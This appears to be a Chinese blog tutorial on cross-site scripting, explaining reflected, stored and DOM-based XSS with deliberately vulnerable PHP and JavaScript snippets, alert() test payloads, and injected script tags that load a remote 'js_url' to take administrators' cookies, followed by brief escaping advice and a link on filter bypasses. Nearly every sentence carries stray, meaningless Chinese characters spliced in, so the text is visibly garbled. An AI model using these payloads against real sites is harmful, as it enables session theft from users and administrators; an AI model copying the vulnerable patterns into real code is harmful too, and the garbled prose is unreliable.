xss 簡介
xss 跨站腳本攻擊(Cross Site Scripting),為了不和層疊樣式表(Cascading Style Sheets,CSS)縮寫混淆吗铐,所以將跨站腳本攻擊縮寫為xss邢享。
xss是什么
xss就是攻擊者在web頁面插入惡意的Script代碼闺鲸,當(dāng)用戶瀏覽該頁之時(shí),嵌入其中web里面的Script代碼會(huì)被執(zhí)行针炉,從而達(dá)到惡意攻擊用戶的特殊目的曲稼。
xss的類型
xss類型一般分為三種:
第一種:反射型XSS
反射型XSS只是簡單的把用戶輸入的數(shù)據(jù)“反射”給瀏覽器.也就是說需要誘使用戶“點(diǎn)擊”一個(gè)惡意鏈接女阀,才能攻擊成功。反射型XSS也叫作“非持久型XSS”
第二種:儲(chǔ)存型XSS
儲(chǔ)存型XSS會(huì)把用戶輸入的數(shù)據(jù)“儲(chǔ)存”在服務(wù)器端跳仿。這種XSS具有很強(qiáng)的穩(wěn)定性
第三種:DOM Based XSS
實(shí)際上诡渴,這種類型的XSS并非按照“數(shù)據(jù)是否保存在服務(wù)器端”來劃分的,從效果上來說也是反射型XSS單獨(dú)劃分出來的菲语,因?yàn)镈OM Based XSS 的形成原因比較特別妄辩。這是由于客戶端腳本自身解析不正確導(dǎo)致的安全問題。
XSS的攻擊原理
反射型XSS的攻擊原理
反射型XSS山上,是最常用的眼耀,使用最廣的一種方式。通過給別人發(fā)送有惡意腳本代碼參數(shù)的URL佩憾,當(dāng)URL地址被打開時(shí)畔塔,特有的惡意代碼參數(shù)唄HTML解析、執(zhí)行鸯屿。
它的特點(diǎn):是非持久化澈吨,必須用戶點(diǎn)擊帶有特定參數(shù)的鏈接才能引起。
例子:
假設(shè)一個(gè)頁面把用戶輸入的參數(shù)直接輸出到頁面上:
<?php
$input = $_GET["param"];
echo "<div>".$input."</div>"
?>
正常情況下寄摆,用戶想param提交數(shù)據(jù)會(huì)展示到頁面中谅辣,比如:
http://127.0.0.1/xss.php?param=This is a test!
會(huì)得到如下結(jié)果:
在查看頁面源代碼,可以看到:
<div>/This is a xss test!</div>
但是如果提交一段HTML代碼:
http://127.0.0.1/xss.php?param=<script>alert(/This is a xss test!/)</script>
會(huì)發(fā)現(xiàn)婶恼,alert(/This is a xss test!/)在當(dāng)前頁面執(zhí)行了:
再查看源代碼:
<div><script>alert(/This is a xss test!/)</script></div>
用戶輸入的的Script桑阶,腳本已經(jīng)被寫入頁面中柏副,這并不是開發(fā)者所希望看到的。這就是反射型XSS攻擊的原理
儲(chǔ)存型XSS的攻擊原理
存儲(chǔ)型的攻擊腳本被存儲(chǔ)到了數(shù)據(jù)庫或者文件中蚣录,服務(wù)端在讀取了存儲(chǔ)的內(nèi)容回顯了割择。就是存儲(chǔ)型。這種情況下用戶直接打開正常的頁面就會(huì)看到被注入
流程如下:
壞人把惡意的XSS代碼提交網(wǎng)站--->網(wǎng)站把XSS代碼存儲(chǔ)進(jìn)數(shù)據(jù)庫--->當(dāng)頁面再次被其他正常用戶請求時(shí)萎河,服務(wù)器發(fā)送已經(jīng)被植入XSS代碼的數(shù)據(jù)給客戶端--->客戶端執(zhí)行XSS代碼
例子:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>留言板</title>
</head>
<body>
<center>
<h6>我的留言板</h6>
<form action="" method="get">
<h6>請輸入留言內(nèi)容</h6>
<input type="text" name="xss_input_value" placeholder="輸入留言內(nèi)容"><br>
<input type="submit" >
</form>
<hr>
<h6>這里假設(shè)我們是正常用戶來查看留言這個(gè)界面</h6>
<?php
if(isset($_GET['xss_input_value'])){
$xss = $_GET['xss_input_value'];
if(isset($xss)){
echo '<input type="text" value="'.$xss.'">';
}else{
echo '<input type="type" vplaceholder="輸出留言內(nèi)容">';
}
}else{
echo '<input type="type" placeholder="輸出留言內(nèi)容">';
}
?>
</center>
</body>
</html>
這里我們假設(shè)第一個(gè)輸入框的數(shù)據(jù)存入了數(shù)據(jù)庫荔泳,而輸出框從數(shù)據(jù)庫中讀取輸入的數(shù)據(jù)。
此時(shí)在輸入框插入惡意的代碼
"><script>alert(/This is a xss test!/)</script>
(">是用來閉合input標(biāo)簽)
當(dāng)正常用戶想要來查看留言板的內(nèi)容時(shí)這條惡意代碼就會(huì)被瀏覽器加載并執(zhí)行
DMO Based XSS的攻擊原理
DOM-based XSS漏洞是基于文檔對象模型Document Objeet Model 的一種漏洞虐杯。DOM是一個(gè)與平臺(tái)玛歌、編程語言無關(guān)的借口,它允許程序或腳本動(dòng)態(tài)的訪問或者更新文檔內(nèi)容擎椰、結(jié)構(gòu)和樣式支子,處理后的結(jié)果能夠成為顯示頁面的一部分。DOM中有很多對象达舒,其中一些事用戶可以操作的.客戶端的腳本程序可以通過DOM動(dòng)態(tài)地檢查和修改頁面內(nèi)容值朋,它不依賴于提交數(shù)據(jù)到服務(wù)器端,而從客戶端獲得DOM中的數(shù)據(jù)在本地執(zhí)行巩搏,如果DOM中的數(shù)據(jù)沒有經(jīng)過嚴(yán)格的確認(rèn)昨登,就會(huì)產(chǎn)生DOM-based XSS漏洞。
看如下代碼:
<script>
function test(){
var str = document.getElementById("text").value;
document.getElementById("t").innerHTML = "<a href='"+str+"'>testLink</a>";
}
</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />
點(diǎn)擊“write”按鈕后塔猾,會(huì)在當(dāng)前頁面插入一個(gè)超鏈接篙骡,其地址為文本框的內(nèi)容:
在這里,"write"按鈕的onclick事件調(diào)用了test()函數(shù)丈甸。而在test()函數(shù)中糯俗,修改了頁面DOM節(jié)點(diǎn),通過innerHTML把一段用戶數(shù)據(jù)當(dāng)做HTML寫入頁面中睦擂,這就造成了DOM based XSS.
構(gòu)造如下數(shù)據(jù):
' onclick=alert(/xss/) //
輸入之后得湘,頁面代碼變成了:
<a href='' onclick=alert(/xss/) //' >testLink</a>
首先一個(gè)單引號閉合掉href的第一個(gè)單引號,然后插入一個(gè)onclick事件顿仇,最后在用注釋符"http://"注釋掉第二個(gè)單引號淘正。
點(diǎn)擊這個(gè)新生成的鏈接,腳本將會(huì)執(zhí)行臼闻,如下圖所示:
XSS的利用
說了一大堆鸿吆,大家以為 XSS就是彈窗,其實(shí)錯(cuò)了述呐,彈窗只是測試XSS的存在性和使用性惩淳。
這時(shí)我們要插入JS代碼了。
可以這樣
<script scr="js_url"></script>
或者這樣
<img src=x onerror=appendChild(creatElement('script')).src='js_url'>
各種姿勢乓搬,各種插思犁,只要能夠運(yùn)行我們的js就可以代虾,js可以干很多事,可以獲取cookies激蹲、控制用戶的動(dòng)作燈等棉磨。
比如我們在網(wǎng)站的留言區(qū)輸入下面的代碼:
<script scr="js_url"></script>
當(dāng)管理員進(jìn)入后臺(tái)瀏覽留言的時(shí)候,就會(huì)觸發(fā)学辱,然后管理員的cookies和后臺(tái)地址還有管理員瀏覽器版本等等都可以獲取到乘瓤。
xss的防御
現(xiàn)在的XSS如此流行,原因何在项郊。我想大家應(yīng)該都知道馅扣,就是在輸入的時(shí)候沒有做嚴(yán)格的過濾斟赚,而在輸出的時(shí)候着降,也沒有進(jìn)行檢查,轉(zhuǎn)義拗军,替換等
所以防范的方法就是任洞,不信任任何用戶的輸入,對每個(gè)用戶的輸入都做嚴(yán)格檢查发侵,過濾交掏,在輸出的時(shí)候,對某些特殊字符進(jìn)行轉(zhuǎn)義刃鳄,替換等
Bypass xss過濾
大部分情況下網(wǎng)站都對用戶輸入的數(shù)據(jù)進(jìn)行了過濾盅弛,大家可以參考以下文章:
<a src="http://drops.wooyun.org/tips/845">http://drops.wooyun.org/tips/845</a>
心得:由于自己js代碼基礎(chǔ)為0,并不能給大家?guī)矸浅I願(yuàn)W的東西叔锐。如果有錯(cuò)誤希望大家在下邊評論指出挪鹏。